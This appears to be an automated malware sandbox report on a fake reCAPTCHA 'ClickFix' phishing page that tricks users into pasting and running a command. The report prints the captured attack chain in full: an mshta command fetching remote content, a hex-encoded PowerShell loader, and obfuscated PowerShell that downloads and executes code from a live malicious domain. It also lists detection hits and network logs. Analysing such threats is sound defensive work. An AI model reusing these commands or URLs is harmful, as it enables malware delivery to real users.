BEBE7626245B1950B4464C1F024781C68A3F9AC0D03E71B5CD0AFDD0A8EAC11BF425850B0C33E67C994629BFC628D25C06C6099C680D7950B2B0BE7BC65712C614B883766D1FB57FF471EFFF8D53FA50225E1EC0FC879D58796D6A493EFD94514C0E7FDA500270FB6CA0BBB7D8FFD5F42F1BDB1647AE265EE40DB6EA03BF208EC0BEBA30323

Sigma detected: Potential Encoded PowerShell Patterns In CommandLine

Source: Process started

Author: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function ngyV($kqZz){return -split ($kqZz -replace '..', '0x$& ')};$edQG = ngyV('9B37E06BF956AECEC578DA8836BB78F6D34FFAAAB891B80DE1098BA526A0C09B9695FEFF097B0E5D22EDB5F917A44C1326CE6AD173B86B203E0CFD1CA1A3D0BCE6D383CC7F582E9B9F2BBA4284D557E9758AA78A3B57ECA89C28C784A8E329085BE2BC7463385D85C1741CA02C8F957ADD24A3F7A816E19BAD7EE2EBD00475BE81C954EBFA720D80C866283B1A22A4CD86E2C6C6592F98149C7B4641DAF3C3A9FA1FB67A0F97B429C9381B5B78E16C8282E516572914520C840340519F48BF258E33E622628A1802A3521F2E7500CF05B273B1F2F0BB288557E9D9A4849346086BC8AC9D070C1E9680E82B5059338903C654502C235BCF39F5930780F87688F211693AAD4C85F2A4F203329223AF49BAA6BD8A9E30A0EA466268AF322586522882DD850D831A8C7B19F05D13E7BE8E622FD53A5F545B567857240D12F878F254A058EE68A804A8C5A188AA558BAC50F2B0A7AFA884C71642B1C87B205CA320AD4488AD285B5A12B463CD1A139A8FE9FF69844D4211C9420B0B312F1AAD3F4E10285264572A8EC289A2A1BB9228DCF6384832BF858767B194D0E3C531CAE2A43651E803DBDC27FE25FB0B2FB720EA6190A1C47926526570B387CE4274445D0E23F2AF55B7BF63FAB14D68A3CED3482CA6609AC6E7F8648514FB954D7B5E41FCA13408621EA58AFBCA78BCD568D73A93A5C2571B4CAC34385785FEACE6DF3FD992C12379C663884CBB1490FEF5F60AF555D11FEEBA3A51FDD1686DB209B6A45CEB4823BE5862CE623891963721BC6D253E89976C4DBC738ADC80865C0C9B06E39257E93404BE53A986B1837F5CBBEB65D935F0968BA068178C2DFE472704F5EE5051AAEBED38C2C21D22D49ACD6E20B980EB601F7B26BA5388D1EB0FCF1ABE96D767F1201814DB196FE39ED811F30374DE84F48CE14A95DF7A9828928513F0F835399CDDE25521FB55DE3C25C827439AB6D74976549CF60F2C8CFD3F40962CDA691A75EEB181B5635A31DC1DE58AECE0D2ECA39E94F2B188D188810BAECC3F850800E8709791D5B8F3DA6B019DFC98080EBF566E4E19A0C433839BE0C7C23C4D8EDEEEA970368D7A2C06852DE410B551DAD93D49797E4F4D373055A307208B597C673333EC2EC04894E30ED71A71EFF7D7FA2C34D1DE9BB5AF474D96717FBC220E301F28A15F7B9A6C58CABFF5CF07EDAE1BA0A80E569B87607BC2391C2499AA3130EAC4E93E6CE2D4C26D1B3D7ADA076444AD18C15B4C1A6B50EDA21A99ACB63C79827781C5CC4EE59186C6A336AB5DA69D61E7403756263EAFB9C5476A730683EBBB4E8AB1EEA46680320331E95AE08F35FC1F5D4F7F7322ACD03CE2FE52A457C9CBC8B7A21D77E7ACA744BC0388622B84AC5392D868B2D6BFCBC3AD0EB9884B4F5E38AA328167085907DD5A514FEA69EDD4A2C63970C28FE3E84F65D6BE17880E4651F73FC1C8D6768D02225876EFEAFECBD40E226CBCB292F233A51A2A85C00443B097A22DF3C38FCC6702D6AD5BF2EEA9EDB135100E8B41618EB2582A6BDD56616E5786D27E29F830DAC7091A21C99540937BF224E060BDB84D22E7E6156CB842471D3FD0587EA5F27965C6EC0C5F9A2745459DAD59008DC50EF1A3160E6AE52205DC4BB6BE16193AA101EA390F4786EEC9BC042FD77A6B67F437A23B10E32BDE58333538B6A09E832C96B3C490ED22530E889D8571DF026417DEF4A0C5BB26E87818C5927600618F3DC599D3E80FC0D4F78A0A8E12485AACE0A552D4B57D99F77EBDB1A6163E64601DBE1ED5E5D8A39F9850BD799714AFFC3CBEBE7626245B1950B4464C1F024781C68A3F9AC0D03E71B5CD0AFDD0A8EAC11BF425850B0C33E67C994629BFC628D25C06C6099C680D7950B2B0BE7BC65712C614B883766D1FB57FF471EFFF8D53FA50225E1EC0FC879D58796D6A493EFD94514C0E7FDA500270FB6CA0BBB7D8FFD5F42F1BDB1647AE265EE40DB6EA03BF208EC0BEBA30323

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 660, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 6812, ProcessName: svchost.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

Yara detected CAPTCHA Scam ClickFix

Source: Yara match	File source: 1.0.pages.csv, type: HTML
Source: Yara match	File source: 1.1.pages.csv, type: HTML
Source: Yara match	File source: dropped/chromecache_93, type: DROPPED

AI detected suspicious Javascript

Source: 0.0.id.script.csv

Joe Sandbox AI: Detected suspicious JavaScript with source url: https://sos-at-vie-1.exo.io/ilbuck/sato/process/co... This script demonstrates high-risk behavior by using the `mshta` command to execute remote code, which can be used to download and run malicious content. Additionally, the script copies sensitive information (a 'reCAPTCHA Verification ID') to the clipboard, which could be used for phishing or other malicious purposes. The script also manipulates the DOM to display a reCAPTCHA popup, which could be part of a social engineering attack. Overall, the combination of remote code execution, data exfiltration, and suspicious UI manipulation indicates a high-risk script that should be thoroughly investigated.

Phishing site or detected (based on various text indicators)

Source: Chrome DOM: 1.0	OCR Text: Verify You Are Human Please verify that you are a human to continue. I'm not a robot
Source: Chrome DOM: 1.1	OCR Text: Verify You Are Human Please verify that you are a human to continue. I'm nat a robat Verification Steps 1. Press Windows Button 2. Press CTRL + V 3. Press Enter

Source: https://sos-at-vie-1.exo.io/ilbuck/sato/process/continue-after-check-vr2.html	HTTP Parser: No favicon
Source: https://sos-at-vie-1.exo.io/ilbuck/sato/process/continue-after-check-vr2.html	HTTP Parser: No favicon

Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.17:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.17:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.17:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 204.79.197.200:443 -> 192.168.2.17:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 204.79.197.200:443 -> 192.168.2.17:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 204.79.197.200:443 -> 192.168.2.17:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 204.79.197.222:443 -> 192.168.2.17:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.16.158.186:443 -> 192.168.2.17:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.129.200.32:443 -> 192.168.2.17:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.17:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.17:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.5.88:443 -> 192.168.2.17:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.177.84:443 -> 192.168.2.17:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.16.158.185:443 -> 192.168.2.17:49734 version: TLS 1.2

Source: chrome.exe

Memory has grown: Private usage: 22MB later: 28MB

Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200

Source: global traffic	DNS traffic detected: DNS query: sos-at-vie-1.exo.io
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: buck1st.oss-ap-southeast-5.aliyuncs.com
Source: global traffic	DNS traffic detected: DNS query: google.com
Source: global traffic	DNS traffic detected: DNS query: heavens.holistic-haven.shop

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49699 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49691 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49699
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49698
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49691
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49680 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 49698 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702

Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.17:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.17:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.17:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 204.79.197.200:443 -> 192.168.2.17:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 204.79.197.200:443 -> 192.168.2.17:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 204.79.197.200:443 -> 192.168.2.17:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 204.79.197.222:443 -> 192.168.2.17:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.16.158.186:443 -> 192.168.2.17:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.129.200.32:443 -> 192.168.2.17:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.17:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.17:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.5.88:443 -> 192.168.2.17:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.177.84:443 -> 192.168.2.17:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.16.158.185:443 -> 192.168.2.17:49734 version: TLS 1.2

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE

Source: C:\Windows\System32\mshta.exe	Process created: Commandline size = 4272
Source: C:\Windows\System32\mshta.exe	Process created: Commandline size = 4272

Source: classification engine

Classification label: mal80.phis.evad.win@25/15@10/173

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7852:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7680:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dt1gtpij.2sq.ps1

Source: C:\Windows\System32\mshta.exe

File read: C:\Users\user\Desktop\desktop.ini

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2172 --field-trial-handle=1952,i,13847043341511514745,6365899462331113190,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://sos-at-vie-1.exo.io/ilbuck/sato/process/continue-after-check-vr2.html"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2172 --field-trial-handle=1952,i,13847043341511514745,6365899462331113190,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: unknown	Process created: C:\Windows\System32\mshta.exe "C:\Windows\system32\mshta.exe" https://buck1st.oss-ap-southeast-5.aliyuncs.com/dir/five/singl5.mp4 # ? ''I am not a robot - reCAPTCHA Verification ID: 2165
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function ngyV($kqZz){return -split ($kqZz -replace '..', '0x$& ')};$edQG = ngyV('9B37E06BF956AECEC578DA8836BB78F6D34FFAAAB891B80DE1098BA526A0C09B9695FEFF097B0E5D22EDB5F917A44C1326CE6AD173B86B203E0CFD1CA1A3D0BCE6D383CC7F582E9B9F2BBA4284D557E9758AA78A3B57ECA89C28C784A8E329085BE2BC7463385D85C1741CA02C8F957ADD24A3F7A816E19BAD7EE2EBD00475BE81C954EBFA720D80C866283B1A22A4CD86E2C6C6592F98149C7B4641DAF3C3A9FA1FB67A0F97B429C9381B5B78E16C8282E516572914520C840340519F48BF258E33E622628A1802A3521F2E7500CF05B273B1F2F0BB288557E9D9A4849346086BC8AC9D070C1E9680E82B5059338903C654502C235BCF39F5930780F87688F211693AAD4C85F2A4F203329223AF49BAA6BD8A9E30A0EA466268AF322586522882DD850D831A8C7B19F05D13E7BE8E622FD53A5F545B567857240D12F878F254A058EE68A804A8C5A188AA558BAC50F2B0A7AFA884C71642B1C87B205CA320AD4488AD285B5A12B463CD1A139A8FE9FF69844D4211C9420B0B312F1AAD3F4E10285264572A8EC289A2A1BB9228DCF6384832BF858767B194D0E3C531CAE2A43651E803DBDC27FE25FB0B2FB720EA6190A1C47926526570B387CE4274445D0E23F2AF55B7BF63FAB14D68A3CED3482CA6609AC6E7F8648514FB954D7B5E41FCA13408621EA58AFBCA78BCD568D73A93A5C2571B4CAC34385785FEACE6DF3FD992C12379C663884CBB1490FEF5F60AF555D11FEEBA3A51FDD1686DB209B6A45CEB4823BE5862CE623891963721BC6D253E89976C4DBC738ADC80865C0C9B06E39257E93404BE53A986B1837F5CBBEB65D935F0968BA068178C2DFE472704F5EE5051AAEBED38C2C21D22D49ACD6E20B980EB601F7B26BA5388D1EB0FCF1ABE96D767F1201814DB196FE39ED811F30374DE84F48CE14A95DF7A9828928513F0F835399CDDE25521FB55DE3C25C827439AB6D74976549CF60F2C8CFD3F40962CDA691A75EEB181B5635A31DC1DE58AECE0D2ECA39E94F2B188D188810BAECC3F850800E8709791D5B8F3DA6B019DFC98080EBF566E4E19A0C433839BE0C7C23C4D8EDEEEA970368D7A2C06852DE410B551DAD93D49797E4F4D373055A307208B597C673333EC2EC04894E30ED71A71EFF7D7FA2C34D1DE9BB5AF474D96717FBC220E301F28A15F7B9A6C58CABFF5CF07EDAE1BA0A80E569B87607BC2391C2499AA3130EAC4E93E6CE2D4C26D1B3D7ADA076444AD18C15B4C1A6B50EDA21A99ACB63C79827781C5CC4EE59186C6A336AB5DA69D61E7403756263EAFB9C5476A730683EBBB4E8AB1EEA46680320331E95AE08F35FC1F5D4F7F7322ACD03CE2FE52A457C9CBC8B7A21D77E7ACA744BC0388622B84AC5392D868B2D6BFCBC3AD0EB9884B4F5E38AA328167085907DD5A514FEA69EDD4A2C63970C28FE3E84F65D6BE17880E4651F73FC1C8D6768D02225876EFEAFECBD40E226CBCB292F233A51A2A85C00443B097A22DF3C38FCC6702D6AD5BF2EEA9EDB135100E8B41618EB2582A6BDD56616E5786D27E29F830DAC7091A21C99540937BF224E060BDB84D22E7E6156CB842471D3FD0587EA5F27965C6EC0C5F9A2745459DAD59008DC50EF1A3160E6AE52205DC4BB6BE16193AA101EA390F4786EEC9BC042FD77A6B67F437A23B10E32BDE58333538B6A09E832C96B3C490ED22530E889D8571DF026417DEF4A0C5BB26E87818C5927600618F3DC599D3E80FC0D4F78A0A8E12485AACE0A552D4B57D99F77EBDB1A6163E64601DBE1ED5E5D8A39F9850BD799714AFFC3CBEBE7626245B1950B4464C1F024781C68A3F9AC0D03E71B5CD0AFDD0A8EAC11BF425850B0C33E67C994629BFC628D25C06C6099C680D7950B2B0BE7BC65712C614B883766D1FB57FF471EFFF8D53FA50225E1EC0FC879D58796D6A493EFD94514C0E7FDA500270FB6CA0BBB7D8FFD5F4
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command cd;Set-Variable t8 (.(Get-ChildItem Variable:\Eonte).Value.InvokeCommand.(((Get-ChildItem Variable:\Eonte).Value.InvokeCommand\|Get-Member\|Where-Object{(Get-Variable _).Value.Name-ilike'Cmt'}).Name).Invoke((Get-ChildItem Variable:\Eonte).Value.InvokeCommand.(((Get-ChildItem Variable:\Eonte).Value.InvokeCommand\|Get-Member\|Where-Object{(Get-Variable _).Value.Name-ilike'Gome'}).Name).Invoke('Nect',$TRUE,1))Net.WebClient);SV s 'https://heavens.holistic-haven.shop/singl5';&(Get-ChildItem Variable:\Eonte).Value.InvokeCommand.(((Get-ChildItem Variable:\Eonte).Value.InvokeCommand\|Get-Member\|Where-Object{(Get-Variable _).Value.Name-ilike'Cmt'}).Name).Invoke((Get-ChildItem Variable:\Eonte).Value.InvokeCommand.(((Get-ChildItem Variable:\Eonte).Value.InvokeCommand\|Get-Member\|Where-Object{(Get-Variable _).Value.Name-ilike'Gome'}).Name).Invoke('In-Exion',$TRUE,$TRUE))([String]::Join('',(((Get-Item Variable:\t8).Value.((((Get-Item Variable:\t8).Value\|Get-Member)\|Where-Object{(Get-Variable _).Value.Name-ilike'nl*a'}).Name).Invoke((GCI Variable:\s).Value)\|ForEach{(Get-Item Variable:/_).Value-As'Char'}))))
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function ngyV($kqZz){return -split ($kqZz -replace '..', '0x$& ')};$edQG = ngyV('9B37E06BF956AECEC578DA8836BB78F6D34FFAAAB891B80DE1098BA526A0C09B9695FEFF097B0E5D22EDB5F917A44C1326CE6AD173B86B203E0CFD1CA1A3D0BCE6D383CC7F582E9B9F2BBA4284D557E9758AA78A3B57ECA89C28C784A8E329085BE2BC7463385D85C1741CA02C8F957ADD24A3F7A816E19BAD7EE2EBD00475BE81C954EBFA720D80C866283B1A22A4CD86E2C6C6592F98149C7B4641DAF3C3A9FA1FB67A0F97B429C9381B5B78E16C8282E516572914520C840340519F48BF258E33E622628A1802A3521F2E7500CF05B273B1F2F0BB288557E9D9A4849346086BC8AC9D070C1E9680E82B5059338903C654502C235BCF39F5930780F87688F211693AAD4C85F2A4F203329223AF49BAA6BD8A9E30A0EA466268AF322586522882DD850D831A8C7B19F05D13E7BE8E622FD53A5F545B567857240D12F878F254A058EE68A804A8C5A188AA558BAC50F2B0A7AFA884C71642B1C87B205CA320AD4488AD285B5A12B463CD1A139A8FE9FF69844D4211C9420B0B312F1AAD3F4E10285264572A8EC289A2A1BB9228DCF6384832BF858767B194D0E3C531CAE2A43651E803DBDC27FE25FB0B2FB720EA6190A1C47926526570B387CE4274445D0E23F2AF55B7BF63FAB14D68A3CED3482CA6609AC6E7F8648514FB954D7B5E41FCA13408621EA58AFBCA78BCD568D73A93A5C2571B4CAC34385785FEACE6DF3FD992C12379C663884CBB1490FEF5F60AF555D11FEEBA3A51FDD1686DB209B6A45CEB4823BE5862CE623891963721BC6D253E89976C4DBC738ADC80865C0C9B06E39257E93404BE53A986B1837F5CBBEB65D935F0968BA068178C2DFE472704F5EE5051AAEBED38C2C21D22D49ACD6E20B980EB601F7B26BA5388D1EB0FCF1ABE96D767F1201814DB196FE39ED811F30374DE84F48CE14A95DF7A9828928513F0F835399CDDE25521FB55DE3C25C827439AB6D74976549CF60F2C8CFD3F40962CDA691A75EEB181B5635A31DC1DE58AECE0D2ECA39E94F2B188D188810BAECC3F850800E8709791D5B8F3DA6B019DFC98080EBF566E4E19A0C433839BE0C7C23C4D8EDEEEA970368D7A2C06852DE410B551DAD93D49797E4F4D373055A307208B597C673333EC2EC04894E30ED71A71EFF7D7FA2C34D1DE9BB5AF474D96717FBC220E301F28A15F7B9A6C58CABFF5CF07EDAE1BA0A80E569B87607BC2391C2499AA3130EAC4E93E6CE2D4C26D1B3D7ADA076444AD18C15B4C1A6B50EDA21A99ACB63C79827781C5CC4EE59186C6A336AB5DA69D61E7403756263EAFB9C5476A730683EBBB4E8AB1EEA46680320331E95AE08F35FC1F5D4F7F7322ACD03CE2FE52A457C9CBC8B7A21D77E7ACA744BC0388622B8